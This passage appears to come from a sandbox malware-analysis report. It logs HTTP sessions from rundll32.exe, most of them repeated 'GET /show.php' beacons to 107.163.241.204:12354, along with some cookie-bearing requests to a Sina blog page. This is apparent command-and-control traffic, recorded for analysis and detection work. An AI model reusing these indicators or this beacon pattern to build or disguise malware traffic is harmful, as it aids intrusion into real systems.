Dec 11, 2024 16:28:26.933875084 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	50563	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:27.052428961 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	50591	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:28.200659990 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	50597	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:28.930427074 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	50598	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:28.931330919 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	50599	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:28.932934999 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	50607	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.170717001 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	50612	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.284234047 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	50613	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.285698891 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	50617	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.414266109 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	50622	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.615801096 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	50627	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.646320105 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:31.209208965 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:30 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	50630	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.739789009 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	50635	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.858769894 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	50639	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:29.987643003 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	50643	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.104053974 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	50648	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.227560997 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	50654	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.347594023 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	50659	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.469089985 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	50664	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.587735891 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	50669	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.710176945 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	50673	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.828305006 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	50677	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:30.956545115 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	50683	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.087590933 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	50687	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.190001011 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	50693	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.327429056 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	50698	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.454478979 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	50704	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.681363106 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	50705	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.708460093 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	50713	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.905611992 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	50716	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:31.983266115 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	50722	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:32.148013115 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	50729	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:32.331938982 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	50732	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:32.388571024 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	50744	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:32.631472111 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	50749	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:32.697145939 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	50756	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:32.987081051 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	50757	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:33.167685986 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	50758	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:33.167795897 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	50760	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:33.432183027 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	50761	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:33.573430061 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	50763	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:33.741576910 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	50767	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:33.797712088 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	50779	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:34.039405107 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	50782	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:34.132325888 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	50795	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:34.431379080 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	50816	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:34.782563925 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	50834	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:35.179332972 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	50843	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:35.359819889 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	50853	202.108.0.52	80	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:35.503182888 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Dec 11, 2024 16:28:37.075411081 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:28:36 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	50857	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:35.601442099 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	50867	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:35.877557993 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	50870	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:36.345412016 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	50872	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:36.473258972 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	50874	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:28:36.510798931 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	50886	107.163.241.204	12354	4124	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
